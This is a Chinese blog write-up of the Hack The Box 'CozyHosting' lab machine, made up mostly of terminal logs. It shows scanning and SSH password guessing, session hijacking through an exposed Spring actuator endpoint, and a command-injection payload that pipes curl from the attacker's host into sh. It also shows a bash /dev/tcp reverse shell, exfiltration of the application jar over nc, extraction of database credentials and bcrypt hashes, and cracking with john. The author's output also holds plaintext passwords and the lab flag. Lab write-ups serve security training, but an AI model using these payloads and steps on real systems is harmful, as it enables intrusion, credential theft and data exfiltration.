htb-cozyhosting

最新推荐文章于 2024-10-24 23:04:46 发布
最新推荐文章于 2024-10-24 23:04:46 发布
阅读量577 收藏
点赞数
分类专栏： hack the box 网络安全进阶 网络安全 文章标签： 网络安全 工具软件
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_47210241/article/details/133487936
版权

HTB-CozyHosting

https://app.hackthebox.com/machines/CozyHosting

──(kwkl㉿kwkl)-[~]
└─$ tail -l /etc/hosts                                                                                                                                                       1 ⨯



10.10.11.230 cozyhosting.htb


──(kwkl㉿kwkl)-[~]
└─$ nmap -A 10.10.11.230 -T4 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-23 20:47 HKT
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 7.27% done; ETC: 20:50 (0:02:59 remaining)
Stats: 0:00:18 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 10.12% done; ETC: 20:50 (0:02:31 remaining)
Nmap scan report for 10.10.11.230 (10.10.11.230)
Host is up (0.61s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_  256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
9999/tcp open  abyss?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 256.99 seconds

image-20230923205309502

┌──(kwkl㉿kwkl)-[~/tools/scan_tool]
└─$ sudo ./fscan_amd64 -h 10.10.11.230   

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 10.10.11.230    is alive
[*] Icmp alive hosts len is: 1
10.10.11.230:8000 open
10.10.11.230:22 open
10.10.11.230:80 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://10.10.11.230       code:301 len:178    title:301 Moved Permanently 跳转url: http://cozyhosting.htb
[*] WebTitle: http://cozyhosting.htb    code:200 len:12706  title:Cozy Hosting - Home
已完成 1/3 [-] ssh 10.10.11.230:22 root 123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] http://cozyhosting.htb poc-yaml-springboot-env-unauth spring2
已完成 2/3 [-] ssh 10.10.11.230:22 root root123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 10.10.11.230:22 root Passw0rd ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 10.10.11.230:22 root 123456~a ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 10.10.11.230:22 root a11111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 10.10.11.230:22 root sysadmin ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/3
[*] 扫描结束,耗时: 7m6.791807771s


┌──(kwkl㉿kwkl)-[~/tools/scan_tool/dirsearch-0.4.3]
└─$ ./dirsearch.py -u http://cozyhosting.htb/                                                                                                                                1 ⨯

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kwkl/tools/scan_tool/dirsearch-0.4.3/reports/http_cozyhosting.htb/__23-09-30_10-56-44.txt

Target: http://cozyhosting.htb/

[10:56:44] Starting:                                                                                                                                                             
[10:57:32] 200 -    0B  - /;/login                                          
[10:57:32] 200 -    0B  - /;/json
[10:57:32] 200 -    0B  - /;/admin
[10:57:32] 200 -    0B  - /;admin/
[10:57:32] 200 -    0B  - /;login/
[10:57:32] 200 -    0B  - /;json/                                           
[10:57:32] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[10:57:35] 400 -  435B  - /a%5c.aspx                                        
[10:57:38] 200 -    0B  - /actuator/;/auditevents                           
[10:57:38] 200 -    0B  - /actuator/;/auditLog                              
[10:57:39] 200 -  634B  - /actuator                                         
[10:57:39] 200 -    0B  - /actuator/;/conditions
[10:57:39] 200 -    0B  - /actuator/;/caches
[10:57:39] 200 -    0B  - /actuator/;/configprops
[10:57:39] 200 -    0B  - /actuator/;/beans
[10:57:39] 200 -    0B  - /actuator/;/configurationMetadata
[10:57:39] 200 -    0B  - /actuator/;/dump
[10:57:39] 200 -    0B  - /actuator/;/env
[10:57:39] 200 -    0B  - /actuator/;/features
[10:57:39] 200 -    0B  - /actuator/;/flyway
[10:57:39] 200 -    0B  - /actuator/;/events
[10:57:39] 200 -    0B  - /actuator/;/exportRegisteredServices
[10:57:39] 200 -    0B  - /actuator/;/health
[10:57:39] 200 -    0B  - /actuator/;/heapdump
[10:57:39] 200 -    0B  - /actuator/;/info
[10:57:39] 200 -    0B  - /actuator/;/httptrace
[10:57:39] 200 -    0B  - /actuator/;/healthcheck
[10:57:39] 200 -    0B  - /actuator/;/logfile
[10:57:39] 200 -    0B  - /actuator/;/jolokia
[10:57:39] 200 -    0B  - /actuator/;/loggers
[10:57:39] 200 -    0B  - /actuator/;/loggingConfig
[10:57:39] 200 -    0B  - /actuator/;/prometheus
[10:57:39] 200 -    0B  - /actuator/;/integrationgraph
[10:57:39] 200 -    0B  - /actuator/;/liquibase
[10:57:39] 200 -    0B  - /actuator/;/mappings
[10:57:39] 200 -    0B  - /actuator/;/metrics
[10:57:39] 200 -    0B  - /actuator/;/refresh
[10:57:39] 200 -    0B  - /actuator/;/registeredServices
[10:57:39] 200 -    0B  - /actuator/;/sessions
[10:57:39] 200 -    0B  - /actuator/;/releaseAttributes
[10:57:39] 200 -    0B  - /actuator/;/resolveAttributes
[10:57:39] 200 -    0B  - /actuator/;/ssoSessions
[10:57:39] 200 -    0B  - /actuator/;/sso
[10:57:39] 200 -    0B  - /actuator/;/scheduledtasks
[10:57:39] 200 -    0B  - /actuator/;/shutdown
[10:57:39] 200 -    0B  - /actuator/;/springWebflow
[10:57:39] 200 -    0B  - /actuator/;/statistics
[10:57:39] 200 -    0B  - /actuator/;/status
[10:57:39] 200 -    0B  - /actuator/;/trace
[10:57:39] 200 -    0B  - /actuator/;/threaddump
[10:57:40] 200 -    5KB - /actuator/env                                     
[10:57:40] 200 -   15B  - /actuator/health                                  
[10:57:41] 200 -   10KB - /actuator/mappings                                
[10:57:41] 200 -   98B  - /actuator/sessions                                
[10:57:43] 200 -  124KB - /actuator/beans                                   
[10:57:45] 401 -   97B  - /admin                                            
[10:57:47] 200 -    0B  - /admin/%3bindex/                                  
[10:57:54] 200 -    0B  - /Admin;/                                          
[10:57:54] 200 -    0B  - /admin;/                                          
[10:58:28] 200 -    0B  - /axis//happyaxis.jsp                              
[10:58:28] 200 -    0B  - /axis2-web//HappyAxis.jsp                         
[10:58:28] 200 -    0B  - /axis2//axis2-web/HappyAxis.jsp                   
[10:58:38] 200 -    0B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js
[10:59:02] 200 -    0B  - /engine/classes/swfupload//swfupload_f9.swf       
[10:59:02] 200 -    0B  - /engine/classes/swfupload//swfupload.swf
[10:59:02] 500 -   73B  - /error                                            
[10:59:04] 200 -    0B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/ 
[10:59:05] 200 -    0B  - /extjs/resources//charts.swf                      
[10:59:28] 200 -    0B  - /html/js/misc/swfupload//swfupload.swf            
[10:59:35] 200 -    0B  - /jkstatus;                                        
[10:59:40] 200 -    4KB - /login                                            
[10:59:41] 200 -    0B  - /login.wdm%2e                                     
[10:59:42] 204 -    0B  - /logout                                           
                                                                             
Task Completed

Find. sessions

http://cozyhosting.htb/actuator/sessions

image-20230930110748703

F0FD1F42518BC0B9959B98BED562DC79 “kanderson”

image-20230930111009958

Using this sessionid

image-20230930111619244

we can login in. As kanderson

image-20230930112703766

kanderson%20||%20whoami

;‘id’

image-20230930122338971

http://10.10.16.51:5555/1@1

many times try

 ┌──(kwkl㉿kwkl)-[~/tools/scan_tool]
└─$ cat 1@1      
bash -c "bash -i>& /dev/tcp/10.10.16.51/6666 0>&1"
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~/tools/scan_tool]
└─$ python3 -m http.server 5555
Serving HTTP on 0.0.0.0 port 5555 (http://0.0.0.0:5555/) ...
10.10.16.51 - - [01/Oct/2023 22:17:55] "GET /1@1 HTTP/1.1" 200 -
10.10.16.51 - - [01/Oct/2023 22:18:04] "GET /1@1 HTTP/1.1" 200 -
10.10.11.230 - - [01/Oct/2023 22:18:52] code 404, message File not found
10.10.11.230 - - [01/Oct/2023 22:18:52] "GET /1 HTTP/1.1" 404 -
10.10.11.230 - - [01/Oct/2023 22:19:59] code 404, message File not found
10.10.11.230 - - [01/Oct/2023 22:19:59] "GET /1 HTTP/1.1" 404 -
10.10.11.230 - - [01/Oct/2023 22:20:42] code 404, message File not found
10.10.11.230 - - [01/Oct/2023 22:20:42] "GET /1 HTTP/1.1" 404 -
10.10.11.230 - - [01/Oct/2023 22:22:11] code 404, message File not found
10.10.11.230 - - [01/Oct/2023 22:22:11] "GET /1 HTTP/1.1" 404 -
10.10.11.230 - - [01/Oct/2023 22:22:31] code 404, message File not found
10.10.11.230 - - [01/Oct/2023 22:22:31] "GET /1 HTTP/1.1" 404 -
10.10.11.230 - - [01/Oct/2023 22:22:47] "GET /1@1 HTTP/1.1" 200 -
10.10.11.230 - - [01/Oct/2023 22:35:39] "GET /1@1 HTTP/1.1" 200 -


┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 6666                                                                                                                                                          130 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666

image-20231001230450457

raw head

POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin
Cookie: JSESSIONID=7BFD184ED7E857BC1FDD473077783C27//
Upgrade-Insecure-Requests: 1

host=1&username=;kanderson||curl$IFS$9http://10.10.16.51:5555/1@1|sh%0a

HTTP/1.1 504 Gateway Time-out
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 01 Oct 2023 14:36:38 GMT
Content-Type: text/html
Content-Length: 176
Connection: close

<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>

nc op！

┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 6666                                                                                                                                                          130 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 10.10.11.230.
Ncat: Connection from 10.10.11.230:55596.
bash: cannot set terminal process group (1063): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$ id


app@cozyhosting:/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@cozyhosting:/app$ ls
ls
cloudhosting-0.0.1.jar
app@cozyhosting:/app$ ls -al
ls -al
total 58856
drwxr-xr-x  2 root root     4096 Aug 14 14:11 .
drwxr-xr-x 19 root root     4096 Aug 14 14:11 ..
-rw-r--r--  1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar
app@cozyhosting:/app$ nc 10.10.16.51/7777/cloudhosting.zip < cloudhosting-0.0.1.jar
<6.51/7777/cloudhosting.zip < cloudhosting-0.0.1.jar
nc: missing port number
app@cozyhosting:/app$ nc 10.10.16.51 7777 cloudhosting.zip < cloudhosting-0.0.1.jar
<6.51 7777 cloudhosting.zip < cloudhosting-0.0.1.jar
nc: port number invalid: cloudhosting.zip
app@cozyhosting:/app$ nc 10.10.16.51 7777 cloudhosting-0.0.1.jar
nc 10.10.16.51 7777 cloudhosting-0.0.1.jar
nc: port number invalid: cloudhosting-0.0.1.jar
app@cozyhosting:/app$ nc 10.10.16.51 7777 cloudhosting-0.0.1.jar
nc 10.10.16.51 7777 cloudhosting-0.0.1.jar
nc: port number invalid: cloudhosting-0.0.1.jar
app@cozyhosting:/app$ nc 10.10.16.51 7777 < cloudhosting-0.0.1.jar
nc 10.10.16.51 7777 < cloudhosting-0.0.1.jar

recv

┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 7777 > cloudhosting.jar                                                                                                                                       130 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.10.11.230.
Ncat: Connection from 10.10.11.230:44434.

get the jar ball

                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~]
└─$ cp cloudhosting.jar cloudhosting.zip
                                         
                                         
┌──(kwkl㉿kwkl)-[~]
└─$ mkdir cloud  

┌──(kwkl㉿kwkl)-[~/cloud]
└─$ mv ../cloudhosting.zip ../cloud
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~/cloud]
└─$ ls
BOOT-INF  cloudhosting.zip  META-INF  org

┌──(kwkl㉿kwkl)-[~/cloud]
└─$ ls                                                                                                                                                                       1 ⨯
BOOT-INF  cloudhosting.zip  META-INF  org
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~/cloud]
└─$ unzip cloudhosting.zip 


┌──(kwkl㉿kwkl)-[~/cloud]
└─$ grep "password" ./ -r
grep: ./cloudhosting.zip：匹配到二进制文件
grep: ./BOOT-INF/lib/spring-security-crypto-6.0.1.jar：匹配到二进制文件
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:    <glyph glyph-name="lock-password-fill"
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:    <glyph glyph-name="lock-password-line"
grep: ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.ttf：匹配到二进制文件
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-fill:before { content: "\eecf"; }
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-line:before { content: "\eed0"; }
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-fill">
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-line">
grep: ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.eot：匹配到二进制文件
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-fill:before { content: "\eecf"; }
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-line:before { content: "\eed0"; }
grep: ./BOOT-INF/classes/htb/cloudhosting/scheduled/FakeUser.class：匹配到二进制文件
grep: ./BOOT-INF/classes/htb/cloudhosting/database/CozyUser.class：匹配到二进制文件
grep: ./BOOT-INF/classes/htb/cloudhosting/secutiry/SecurityConfig.class：匹配到二进制文件
./BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR
./BOOT-INF/classes/templates/login.html:                                        <input type="password" name="password" class="form-control" id="yourPassword"
./BOOT-INF/classes/templates/login.html:                                        <div class="invalid-feedback">Please enter your password!</div>
./BOOT-INF/classes/templates/login.html:                                    <p th:if="${param.error}" class="text-center small">Invalid username or password</p>
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~/cloud]
└─$ grep "username" ./ -r
grep: ./BOOT-INF/classes/htb/cloudhosting/scheduled/FakeUser.class：匹配到二进制文件
grep: ./BOOT-INF/classes/htb/cloudhosting/database/CozyUserDetailsService.class：匹配到二进制文件
grep: ./BOOT-INF/classes/htb/cloudhosting/compliance/ComplianceService.class：匹配到二进制文件
./BOOT-INF/classes/application.properties:spring.datasource.username=postgres
./BOOT-INF/classes/templates/login.html:                                            <input type="text" name="username" class="form-control" id="yourUsername"
./BOOT-INF/classes/templates/login.html:                                            <div class="invalid-feedback">Please enter your username.</div>
./BOOT-INF/classes/templates/login.html:                                    <p th:if="${param.error}" class="text-center small">Invalid username or password</p>
./BOOT-INF/classes/templates/admin.html:                                        <input name="username" class="form-control" id="username" placeholder="user">
./BOOT-INF/classes/templates/admin.html:                                        <label for="username">Username</label>
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~/cloud]
└─$

get the postgresql some info

./BOOT-INF/classes/application.properties:spring.datasource.username=postgres

./BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR

using jd-gui

image-20231002110424109

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

image-20231002110833894

package BOOT-INF.classes.htb.cloudhosting.scheduled;

import java.io.IOException;
import java.util.concurrent.TimeUnit;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;

@Component
public class FakeUser {
@Scheduled(timeUnit = TimeUnit.MINUTES, fixedDelay = 5L)
public void login() throws IOException {
System.out.println(“Logging in user …”);
Runtime.getRuntime().exec(new String[] { “curl”, “localhost:8080/login”, “–request”, “POST”, “–header”, “Content-Type: application/x-www-form-urlencoded”, “–data-raw”, “username=kanderson&password=MRdEQuv6~6P9”, “-v” });
}
}

Conn postgresql!

                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 6666                                                                                                                                                          130 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 10.10.11.230.
Ncat: Connection from 10.10.11.230:46842.
bash: cannot set terminal process group (1064): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
app@cozyhosting:/app$ ls
ls
cloudhosting-0.0.1.jar
app@cozyhosting:/app$ psql -h localhost -p 5432 -U postgres -d cozyhosting
psql -h localhost -p 5432 -U postgres -d cozyhosting
Password for user postgres: Vg&nvzAQ7XxR

psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

cozyhosting=# ls
ls
cozyhosting-# help
help
Use \? for help or press control-C to clear the input buffer.
cozyhosting-# \?
\?
WARNING: terminal is not fully functional
Press RETURN to continue  

General
  \copyright             show PostgreSQL usage and distribution terms
  \crosstabview [COLUMNS] execute query and display results in crosstab
  \errverbose            show most recent error message at maximum verbosity
  \g [(OPTIONS)] [FILE]  execute query (and send results to file or |pipe);
                         \g with no arguments is equivalent to a semicolon
  \gdesc                 describe result of query, without executing it
  \gexec                 execute query, then execute each value in its result
  \gset [PREFIX]         execute query and store results in psql variables
  \gx [(OPTIONS)] [FILE] as \g, but forces expanded output mode
  \q                     quit psql
  \watch [SEC]           execute query every SEC seconds

Help
  \? [commands]          show help on backslash commands
  \? options             show help on psql command-line options
  \? variables           show help on special variables
  \h [NAME]              help on syntax of SQL commands, * for all commands

Query Buffer
  \e [FILE] [LINE]       edit the query buffer (or file) with external editor
  \ef [FUNCNAME [LINE]]  edit function definition with external editor
  \ev [VIEWNAME [LINE]]  edit view definition with external editor
:
  \p                     show the contents of the query buffer
:

  \r                     reset (clear) the query buffer
:

  \s [FILE]              display history or save it to file
:
  \w FILE                write query buffer to file
:
:







Input/Output
:




  \copy ...              perform SQL COPY with data stream to the client host
  \echo [-n] [STRING]    write string to standard output (-n for no newline)
  \i FILE                execute commands from file
  \ir FILE               as \i, but relative to location of current script
  \o [FILE]              send all query results to file or |pipe
  \qecho [-n] [STRING]   write string to \o output stream (-n for no newline)
  \warn [-n] [STRING]    write string to standard error (-n for no newline)
:
Conditional
  \if EXPR               begin conditional block
  \elif EXPR             alternative within current conditional block
  \else                  final alternative within current conditional block
  \endif                 end conditional block
:



:

Informational
  (options: S = show system objects, + = additional detail)
:
  \d[S+]                 list tables, views, and sequences
  \d[S+]  NAME           describe table, view, sequence, or index
:
  \da[S]  [PATTERN]      list aggregates
:

  \dA[+]  [PATTERN]      list access methods
:
  \dAc[+] [AMPTRN [TYPEPTRN]]  list operator classes
  \dAf[+] [AMPTRN [TYPEPTRN]]  list operator families
:
  \dAo[+] [AMPTRN [OPFPTRN]]   list operators of operator families
:

  \dAp[+] [AMPTRN [OPFPTRN]]   list support functions of operator families
:
  \db[+]  [PATTERN]      list tablespaces
  \dc[S+] [PATTERN]      list conversions
:

  \dC[+]  [PATTERN]      list casts
:
  \dd[S]  [PATTERN]      show object descriptions not displayed elsewhere
  \dD[S+] [PATTERN]      list domains
:

  \ddp    [PATTERN]      list default privileges
:

  \dE[S+] [PATTERN]      list foreign tables
  \des[+] [PATTERN]      list foreign servers
:
  \det[+] [PATTERN]      list foreign tables
  \deu[+] [PATTERN]      list user mappings
:








  \dew[+] [PATTERN]      list foreign-data wrappers
:
  \df[anptw][S+] [FUNCPTRN [TYPEPTRN ...]]
                         list [only agg/normal/procedure/trigger/window] functio
ns
  \dF[+]  [PATTERN]      list text search configurations
  \dFd[+] [PATTERN]      list text search dictionaries
  \dFp[+] [PATTERN]      list text search parsers
  \dFt[+] [PATTERN]      list text search templates
  \dg[S+] [PATTERN]      list roles
  \di[S+] [PATTERN]      list indexes
  \dl                    list large objects, same as \lo_list
:quit
cozyhosting-# quit
Use \q to quit.
cozyhosting-# dt
dt
cozyhosting-# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue 

         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

(END)
(END)q
cozyhosting-# 
cozyhosting-# select * from users;
select * from users;
ERROR:  syntax error at or near "ls"
LINE 1: ls
        ^
cozyhosting=# select * from users;
select * from users;
WARNING: terminal is not fully functional
Press RETURN to continue 

   name    |                           password                           | role
  
-----------+--------------------------------------------------------------+-----
--
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n
(2 rows)

(END)

┌──(kwkl㉿kwkl)-[~]
└─$ john hash2 -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status

manchesterunited (?)

1g 0:00:00:11 DONE (2023-10-02 11:27) 0.08756g/s 245.8p/s 245.8c/s 245.8C/s 159159…keyboard
Use the “–show” option to display all of the cracked passwords reliably
Session completed.

┌──(kwkl㉿kwkl)-[~]
└─$ vim hash2           
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~]
└─$ john hash2 -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)     
1g 0:00:00:11 DONE (2023-10-02 11:27) 0.08756g/s 245.8p/s 245.8c/s 245.8C/s 159159..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~]
└─$ cat hash2                     
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm 
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~]
└─$ 

app@cozyhosting:/app$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
app@cozyhosting:/app$

User flag:

633400af01adcc71fd0a9174a813847c

┌──(kwkl㉿kwkl)-[~]
└─$ ssh josh@10.10.11.230     
The authenticity of host '10.10.11.230 (10.10.11.230)' can't be established.
ECDSA key fingerprint is SHA256:dHlbSOhuGjzTNgvvNbEe2LXI3SsauTGXC/Y5kWTJKs4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.230' (ECDSA) to the list of known hosts.
josh@10.10.11.230's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Oct  2 03:32:14 AM UTC 2023

  System load:           0.0
  Usage of /:            53.2% of 5.42GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             239
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.230
  IPv6 address for eth0: dead:beef::250:56ff:feb9:63e0


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Aug 29 09:03:34 2023 from 10.10.14.41
josh@cozyhosting:~$ ls
user.txt
josh@cozyhosting:~$ id
uid=1003(josh) gid=1003(josh) groups=1003(josh)
josh@cozyhosting:~$ cat user.txt
633400af01adcc71fd0a9174a813847c
josh@cozyhosting:~$ 

josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Sorry, try again.
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
josh@cozyhosting:~$ 


josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Sorry, try again.
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
